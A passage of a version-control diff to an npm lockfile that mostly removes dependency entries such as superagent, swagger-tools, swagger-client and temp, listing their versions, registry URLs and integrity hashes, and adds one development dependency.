+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/static-extend/node_modules/define-property": {
+- "version": "0.2.5",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
+- "dependencies": {
+- "is-descriptor": "^0.1.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/static-extend/node_modules/is-accessor-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
+- "dependencies": {
+- "kind-of": "^3.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/static-extend/node_modules/is-accessor-descriptor/node_modules/kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "dependencies": {
+- "is-buffer": "^1.1.5"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/static-extend/node_modules/is-data-descriptor": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
+- "dependencies": {
+- "kind-of": "^3.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/static-extend/node_modules/is-data-descriptor/node_modules/kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "dependencies": {
+- "is-buffer": "^1.1.5"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/static-extend/node_modules/is-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+- "dependencies": {
+- "is-accessor-descriptor": "^0.1.6",
+- "is-data-descriptor": "^0.1.4",
+- "kind-of": "^5.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/static-extend/node_modules/kind-of": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/statuses": {
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz",
+@@ -28223,14 +22905,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/stream-buffers": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/stream-buffers/-/stream-buffers-3.0.2.tgz",
+- "integrity": "sha512-DQi1h8VEBA/lURbSwFtEHnSTb9s2/pwLEaFuNhXwy1Dx3Sa0lOuYT2yNUr4/j2fs8oCAMANtrZ5OrPZtyVs3MQ==",
+- "engines": {
+- "node": ">= 0.10.0"
+- }
+- },
+ "node_modules/stream-connect": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/stream-connect/-/stream-connect-1.0.2.tgz",
+@@ -28255,14 +22929,6 @@
+ "node": ">=0.12.0"
+ }
+ },
+- "node_modules/stream-counter": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/stream-counter/-/stream-counter-1.0.0.tgz",
+- "integrity": "sha1-kc8lac5NxQYf6816yyY5SloRR1E=",
+- "engines": {
+- "node": ">=0.10.20"
+- }
+- },
+ "node_modules/stream-events": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/stream-events/-/stream-events-1.0.5.tgz",
+@@ -28276,14 +22942,6 @@
+ "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz",
+ "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ=="
+ },
+- "node_modules/stream-transform": {
+- "version": "2.1.3",
+- "resolved": "https://registry.npmjs.org/stream-transform/-/stream-transform-2.1.3.tgz",
+- "integrity": "sha512-9GHUiM5hMiCi6Y03jD2ARC1ettBXkQBoQAe7nJsPknnI0ow10aXjTnew8QtYQmLjzn974BnmWEAJgCY6ZP1DeQ==",
+- "dependencies": {
+- "mixme": "^0.5.1"
+- }
+- },
+ "node_modules/stream-via": {
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/stream-via/-/stream-via-1.0.4.tgz",
+@@ -28323,6 +22981,12 @@
+ "node": ">=0.8.0"
+ }
+ },
++ "node_modules/strict-event-emitter-types": {
++ "version": "2.0.0",
++ "resolved": "https://registry.npmjs.org/strict-event-emitter-types/-/strict-event-emitter-types-2.0.0.tgz",
++ "integrity": "sha512-Nk/brWYpD85WlOgzw5h173aci0Teyv8YdIAEtV+N88nDB0dLlazZyJMIsN6eo1/AR61l+p6CJTG1JIyFaoNEEA==",
++ "dev": true
++ },
+ "node_modules/string_decoder": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+@@ -28350,42 +23014,6 @@
+ }
+ ]
+ },
+- "node_modules/string-to-stream": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/string-to-stream/-/string-to-stream-1.1.1.tgz",
+- "integrity": "sha512-QySF2+3Rwq0SdO3s7BAp4x+c3qsClpPQ6abAmb0DGViiSBAkT5kL6JT2iyzEVP+T1SmzHrQD1TwlP9QAHCc+Sw==",
+- "dependencies": {
+- "inherits": "^2.0.1",
+- "readable-stream": "^2.1.0"
+- }
+- },
+- "node_modules/string-to-stream/node_modules/isarray": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+- },
+- "node_modules/string-to-stream/node_modules/readable-stream": {
+- "version": "2.3.7",
+- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+- "dependencies": {
+- "core-util-is": "~1.0.0",
+- "inherits": "~2.0.3",
+- "isarray": "~1.0.0",
+- "process-nextick-args": "~2.0.0",
+- "safe-buffer": "~5.1.1",
+- "string_decoder": "~1.1.1",
+- "util-deprecate": "~1.0.1"
+- }
+- },
+- "node_modules/string-to-stream/node_modules/string_decoder": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+- "dependencies": {
+- "safe-buffer": "~5.1.0"
+- }
+- },
+ "node_modules/string-width": {
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+@@ -28502,86 +23130,6 @@
+ "resolved": "https://registry.npmjs.org/style-mod/-/style-mod-4.0.0.tgz",
+ "integrity": "sha512-OPhtyEjyyN9x3nhPsu76f52yUGXiZcgvsrFVtvTkyGRQJ0XK+GPc6ov1z+lRpbeabka+MYEQxOYRnt5nF30aMw=="
+ },
+- "node_modules/superagent": {
+- "version": "3.8.3",
+- "resolved": "https://registry.npmjs.org/superagent/-/superagent-3.8.3.tgz",
+- "integrity": "sha512-GLQtLMCoEIK4eDv6OGtkOoSMt3D+oq0y3dsxMuYuDvaNUvuT8eFBuLmfR0iYYzHC1e8hpzC6ZsxbuP6DIalMFA==",
+- "deprecated": "Please upgrade to v7.0.2+ of superagent. We have fixed numerous issues with streams, form-data, attach(), filesystem errors not bubbling up (ENOENT on attach()), and all tests are now passing. See the releases tab for more information at <https://github.com/visionmedia/superagent/releases>. Thanks to @shadowgate15, @spence-s, and @niftylettuce. Superagent is sponsored by Forward Email at <https://forwardemail.net>.",
+- "dependencies": {
+- "component-emitter": "^1.2.0",
+- "cookiejar": "^2.1.0",
+- "debug": "^3.1.0",
+- "extend": "^3.0.0",
+- "form-data": "^2.3.1",
+- "formidable": "^1.2.0",
+- "methods": "^1.1.1",
+- "mime": "^1.4.1",
+- "qs": "^6.5.1",
+- "readable-stream": "^2.3.5"
+- },
+- "engines": {
+- "node": ">= 4.0"
+- }
+- },
+- "node_modules/superagent/node_modules/debug": {
+- "version": "3.2.7",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+- "dependencies": {
+- "ms": "^2.1.1"
+- }
+- },
+- "node_modules/superagent/node_modules/form-data": {
+- "version": "2.5.1",
+- "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.5.1.tgz",
+- "integrity": "sha512-m21N3WOmEEURgk6B9GLOE4RuWOFf28Lhh9qGYeNlGq4VDXUlJy2th2slBNU8Gp8EzloYZOibZJ7t5ecIrFSjVA==",
+- "dependencies": {
+- "asynckit": "^0.4.0",
+- "combined-stream": "^1.0.6",
+- "mime-types": "^2.1.12"
+- },
+- "engines": {
+- "node": ">= 0.12"
+- }
+- },
+- "node_modules/superagent/node_modules/isarray": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+- },
+- "node_modules/superagent/node_modules/mime": {
+- "version": "1.6.0",
+- "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
+- "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
+- "bin": {
+- "mime": "cli.js"
+- },
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "node_modules/superagent/node_modules/readable-stream": {
+- "version": "2.3.7",
+- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+- "dependencies": {
+- "core-util-is": "~1.0.0",
+- "inherits": "~2.0.3",
+- "isarray": "~1.0.0",
+- "process-nextick-args": "~2.0.0",
+- "safe-buffer": "~5.1.1",
+- "string_decoder": "~1.1.1",
+- "util-deprecate": "~1.0.1"
+- }
+- },
+- "node_modules/superagent/node_modules/string_decoder": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+- "dependencies": {
+- "safe-buffer": "~5.1.0"
+- }
+- },
+ "node_modules/supports-color": {
+ "version": "8.1.1",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
+@@ -28607,288 +23155,6 @@
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+- "node_modules/swagger-client": {
+- "version": "3.18.4",
+- "resolved": "https://registry.npmjs.org/swagger-client/-/swagger-client-3.18.4.tgz",
+- "integrity": "sha512-Wj26oEctONq/u0uM+eSj18675YM5e2vFnx7Kr4neLeXEHKUsfceVQ/OdtrBXdrT3VbtdBbZfMTfl1JOBpix2MA==",
+- "dependencies": {
+- "@babel/runtime-corejs3": "^7.11.2",
+- "btoa": "^1.2.1",
+- "cookie": "~0.4.1",
+- "cross-fetch": "^3.1.5",
+- "deepmerge": "~4.2.2",
+- "fast-json-patch": "^3.0.0-1",
+- "form-data-encoder": "^1.4.3",
+- "formdata-node": "^4.0.0",
+- "is-plain-object": "^5.0.0",
+- "js-yaml": "^4.1.0",
+- "lodash": "^4.17.21",
+- "qs": "^6.10.2",
+- "traverse": "~0.6.6",
+- "url": "~0.11.0"
+- }
+- },
+- "node_modules/swagger-client/node_modules/cookie": {
+- "version": "0.4.2",
+- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz",
+- "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==",
+- "engines": {
+- "node": ">= 0.6"
+- }
+- },
+- "node_modules/swagger-client/node_modules/is-plain-object": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz",
+- "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/swagger-client/node_modules/punycode": {
+- "version": "1.3.2",
+- "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz",
+- "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0="
+- },
+- "node_modules/swagger-client/node_modules/traverse": {
+- "version": "0.6.6",
+- "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.6.6.tgz",
+- "integrity": "sha1-y99WD9e5r2MlAv7UD5GMFX6pcTc="
+- },
+- "node_modules/swagger-client/node_modules/url": {
+- "version": "0.11.0",
+- "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz",
+- "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=",
+- "dependencies": {
+- "punycode": "1.3.2",
+- "querystring": "0.2.0"
+- }
+- },
+- "node_modules/swagger-converter": {
+- "version": "0.1.7",
+- "resolved": "https://registry.npmjs.org/swagger-converter/-/swagger-converter-0.1.7.tgz",
+- "integrity": "sha1-oJdRnG8e5N1n4wjZtT3cnCslf5c=",
+- "dependencies": {
+- "lodash.clonedeep": "^2.4.1"
+- }
+- },
+- "node_modules/swagger-fluent": {
+- "version": "5.0.3",
+- "resolved": "https://registry.npmjs.org/swagger-fluent/-/swagger-fluent-5.0.3.tgz",
+- "integrity": "sha512-i43ADMtPi7dxAN75Lw50SlncMB31FgaVwXqKioR8SWs+Yon2RbiLU1J1PGMXA4N8cSt9Vz5RHzaoKjz/+iW88g==",
+- "dependencies": {
+- "deepmerge": "^4.2.2",
+- "is-plain-object": "^3.0.0",
+- "request": "^2.88.0"
+- }
+- },
+- "node_modules/swagger-fluent/node_modules/is-plain-object": {
+- "version": "3.0.1",
+- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-3.0.1.tgz",
+- "integrity": "sha512-Xnpx182SBMrr/aBik8y+GuR4U1L9FqMSojwDQwPMmxyC6bvEqly9UBCxhauBF5vNh2gwWJNX6oDV7O+OM4z34g==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/swagger-tools": {
+- "version": "0.10.4",
+- "resolved": "https://registry.npmjs.org/swagger-tools/-/swagger-tools-0.10.4.tgz",
+- "integrity": "sha512-VQpijIi8cpB/frUZOZlVpS7U3CrdSAZBfiHu448R1njiNXUnE7heF3Svz3qFBr5SYtaPvaqWpHMbvboirCXVzA==",
+- "dependencies": {
+- "async": "^2.5.0",
+- "body-parser": "1.18.2",
+- "commander": "~2.11.0",
+- "debug": "^3.1.0",
+- "js-yaml": "^3.3.1",
+- "json-refs": "^3.0.2",
+- "lodash": "^4.17.4",
+- "multer": "^1.1.0",
+- "parseurl": "^1.3.0",
+- "path-to-regexp": "^2.0.0",
+- "qs": "^6.0.3",
+- "serve-static": "^1.10.0",
+- "spark-md5": "^3.0.0",
+- "superagent": "^3.5.2",
+- "swagger-converter": "^0.1.7",
+- "traverse": "^0.6.6",
+- "z-schema": "^3.15.4"
+- },
+- "bin": {
+- "swagger-tools": "bin/swagger-tools"
+- }
+- },
+- "node_modules/swagger-tools/node_modules/argparse": {
+- "version": "1.0.10",
+- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+- "dependencies": {
+- "sprintf-js": "~1.0.2"
+- }
+- },
+- "node_modules/swagger-tools/node_modules/async": {
+- "version": "2.6.3",
+- "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz",
+- "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==",
+- "dependencies": {
+- "lodash": "^4.17.14"
+- }
+- },
+- "node_modules/swagger-tools/node_modules/body-parser": {
+- "version": "1.18.2",
+- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.2.tgz",
+- "integrity": "sha1-h2eKGdhLR9hZuDGZvVm84iKxBFQ=",
+- "dependencies": {
+- "bytes": "3.0.0",
+- "content-type": "~1.0.4",
+- "debug": "2.6.9",
+- "depd": "~1.1.1",
+- "http-errors": "~1.6.2",
+- "iconv-lite": "0.4.19",
+- "on-finished": "~2.3.0",
+- "qs": "6.5.1",
+- "raw-body": "2.3.2",
+- "type-is": "~1.6.15"
+- },
+- "engines": {
+- "node": ">= 0.8"
+- }
+- },
+- "node_modules/swagger-tools/node_modules/body-parser/node_modules/debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "dependencies": {
+- "ms": "2.0.0"
+- }
+- },
+- "node_modules/swagger-tools/node_modules/body-parser/node_modules/ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- },
+- "node_modules/swagger-tools/node_modules/bytes": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz",
+- "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=",
+- "engines": {
+- "node": ">= 0.8"
+- }
+- },
+- "node_modules/swagger-tools/node_modules/commander": {
+- "version": "2.11.0",
+- "resolved": "https://registry.npmjs.org/commander/-/commander-2.11.0.tgz",
+- "integrity": "sha512-b0553uYA5YAEGgyYIGYROzKQ7X5RAqedkfjiZxwi0kL1g3bOaBNNZfYkzt/CL0umgD5wc9Jec2FbB98CjkMRvQ=="
+- },
+- "node_modules/swagger-tools/node_modules/debug": {
+- "version": "3.2.7",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+- "dependencies": {
+- "ms": "^2.1.1"
+- }
+- },
+- "node_modules/swagger-tools/node_modules/http-errors": {
+- "version": "1.6.3",
+- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz",
+- "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=",
+- "dependencies": {
+- "depd": "~1.1.2",
+- "inherits": "2.0.3",
+- "setprototypeof": "1.1.0",
+- "statuses": ">= 1.4.0 < 2"
+- },
+- "engines": {
+- "node": ">= 0.6"
+- }
+- },
+- "node_modules/swagger-tools/node_modules/iconv-lite": {
+- "version": "0.4.19",
+- "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.19.tgz",
+- "integrity": "sha512-oTZqweIP51xaGPI4uPa56/Pri/480R+mo7SeU+YETByQNhDG55ycFyNLIgta9vXhILrxXDmF7ZGhqZIcuN0gJQ==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/swagger-tools/node_modules/inherits": {
+- "version": "2.0.3",
+- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
+- "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
+- },
+- "node_modules/swagger-tools/node_modules/js-yaml": {
+- "version": "3.14.1",
+- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+- "dependencies": {
+- "argparse": "^1.0.7",
+- "esprima": "^4.0.0"
+- },
+- "bin": {
+- "js-yaml": "bin/js-yaml.js"
+- }
+- },
+- "node_modules/swagger-tools/node_modules/path-to-regexp": {
+- "version": "2.4.0",
+- "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-2.4.0.tgz",
+- "integrity": "sha512-G6zHoVqC6GGTQkZwF4lkuEyMbVOjoBKAEybQUypI1WTkqinCOrq2x6U2+phkJ1XsEMTy4LjtwPI7HW+NVrRR2w=="
+- },
+- "node_modules/swagger-tools/node_modules/qs": {
+- "version": "6.5.1",
+- "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz",
+- "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A==",
+- "engines": {
+- "node": ">=0.6"
+- }
+- },
+- "node_modules/swagger-tools/node_modules/raw-body": {
+- "version": "2.3.2",
+- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.2.tgz",
+- "integrity": "sha1-vNYMd9Prk83gBQKVw/N5OJvIj4k=",
+- "dependencies": {
+- "bytes": "3.0.0",
+- "http-errors": "1.6.2",
+- "iconv-lite": "0.4.19",
+- "unpipe": "1.0.0"
+- },
+- "engines": {
+- "node": ">= 0.8"
+- }
+- },
+- "node_modules/swagger-tools/node_modules/raw-body/node_modules/depd": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.1.tgz",
+- "integrity": "sha1-V4O04cRZ8G+lyif5kfPQbnoxA1k=",
+- "engines": {
+- "node": ">= 0.6"
+- }
+- },
+- "node_modules/swagger-tools/node_modules/raw-body/node_modules/http-errors": {
+- "version": "1.6.2",
+- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.2.tgz",
+- "integrity": "sha1-CgAsyFcHGSp+eUbO7cERVfYOxzY=",
+- "dependencies": {
+- "depd": "1.1.1",
+- "inherits": "2.0.3",
+- "setprototypeof": "1.0.3",
+- "statuses": ">= 1.3.1 < 2"
+- },
+- "engines": {
+- "node": ">= 0.6"
+- }
+- },
+- "node_modules/swagger-tools/node_modules/raw-body/node_modules/setprototypeof": {
+- "version": "1.0.3",
+- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.0.3.tgz",
+- "integrity": "sha1-ZlZ+NwQ+608E2RvWWMDL77VbjgQ="
+- },
+- "node_modules/swagger-tools/node_modules/setprototypeof": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz",
+- "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ=="
+- },
+- "node_modules/swagger-tools/node_modules/traverse": {
+- "version": "0.6.6",
+- "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.6.6.tgz",
+- "integrity": "sha1-y99WD9e5r2MlAv7UD5GMFX6pcTc="
+- },
+ "node_modules/symbol-tree": {
+ "version": "3.2.4",
+ "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
+@@ -29041,14 +23307,6 @@
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+ },
+- "node_modules/tarn": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/tarn/-/tarn-3.0.2.tgz",
+- "integrity": "sha512-51LAVKUSZSVfI05vjPESNc5vwqqZpbXCsU+/+wxlOrUjk2SnFTt97v9ZgQrD4YmxYW1Px6w2KjaDitCfkvgxMQ==",
+- "engines": {
+- "node": ">=8.0.0"
+- }
+- },
+ "node_modules/tdigest": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/tdigest/-/tdigest-0.1.1.tgz",
+@@ -29101,34 +23359,12 @@
+ "uuid": "dist/bin/uuid"
+ }
+ },
+- "node_modules/temp": {
+- "version": "0.8.4",
+- "resolved": "https://registry.npmjs.org/temp/-/temp-0.8.4.tgz",
+- "integrity": "sha512-s0ZZzd0BzYv5tLSptZooSjK8oj6C+c19p7Vqta9+6NPOf7r+fxq0cJe6/oN4LTC79sy5NY8ucOJNgwsKCSbfqg==",
+- "dependencies": {
+- "rimraf": "~2.6.2"
+- },
+- "engines": {
+- "node": ">=6.0.0"
+- }
+- },
+ "node_modules/temp-path": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/temp-path/-/temp-path-1.0.0.tgz",
+ "integrity": "sha1-JLFUOXOrRCiW2a02fdnL2/r+kYs=",
+ "dev": true
+ },
+- "node_modules/temp/node_modules/rimraf": {
+- "version": "2.6.3",
+- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz",
+- "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==",
+- "dependencies": {
+- "glob": "^7.1.3"
+- },
+- "bin": {
+- "rimraf": "bin.js"
+- }
+- },
+ "node_modules/terser": {
+ "version": "5.12.1",
+ "resolved": "https://registry.npmjs.org/terser/-/terser-5.12.1.tgz",
+@@ -29264,17 +23500,6 @@
+ "node": ">=0.2.6"
+ }
+ },
+- "node_modules/throng": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/throng/-/throng-4.0.0.tgz",
+- "integrity": "sha1-mDxroZk7WOroWZmKpof/6I34TBc=",
+- "dependencies": {
+- "lodash.defaults": "^4.0.1"
+- },
+- "engines": {
+- "node": ">= 4.0.0"
+- }
+- },
+ "node_modules/throttleit": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/throttleit/-/throttleit-1.0.0.tgz",
+@@ -29350,30 +23575,12 @@
+ "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==",
+ "devOptional": true
+ },
+- "node_modules/tildify": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/tildify/-/tildify-2.0.0.tgz",
+- "integrity": "sha512-Cc+OraorugtXNfs50hU9KS369rFXCfgGLpfCfvlc+Ud5u6VWmUQsOAa9HbTvheQdYnrdJqqv1e5oIqXppMYnSw==",
+- "engines": {
+- "node": ">=8"
+- }
+- },
+ "node_modules/timekeeper": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/timekeeper/-/timekeeper-2.2.0.tgz",
+ "integrity": "sha512-W3AmPTJWZkRwu+iSNxPIsLZ2ByADsOLbbLxe46UJyWj3mlYLlwucKiq+/dPm0l9wTzqoF3/2PH0AGFCebjq23A==",
+ "dev": true
+ },
+- "node_modules/timers-ext": {
+- "version": "0.1.7",
+- "resolved": "https://registry.npmjs.org/timers-ext/-/timers-ext-0.1.7.tgz",
+- "integrity": "sha512-b85NUNzTSdodShTIbky6ZF02e8STtVVfD+fu4aXXShEELpozH+bCpJLYMPZbsABN2wDH7fJpqIoXxJpzbf0NqQ==",
+- "dev": true,
+- "dependencies": {
+- "es5-ext": "~0.10.46",
+- "next-tick": "1"
+- }
+- },
+ "node_modules/tiny-async-pool": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/tiny-async-pool/-/tiny-async-pool-1.2.0.tgz",
+@@ -29391,14 +23598,6 @@
+ "semver": "bin/semver"
+ }
+ },
+- "node_modules/tiny-lru": {
+- "version": "8.0.2",
+- "resolved": "https://registry.npmjs.org/tiny-lru/-/tiny-lru-8.0.2.tgz",
+- "integrity": "sha512-ApGvZ6vVvTNdsmt676grvCkUCGwzG9IqXma5Z07xJgiC5L7akUMof5U8G2JTI9Rz/ovtVhJBlY6mNhEvtjzOIg==",
+- "engines": {
+- "node": ">=6"
+- }
+- },
+ "node_modules/tiny-warning": {
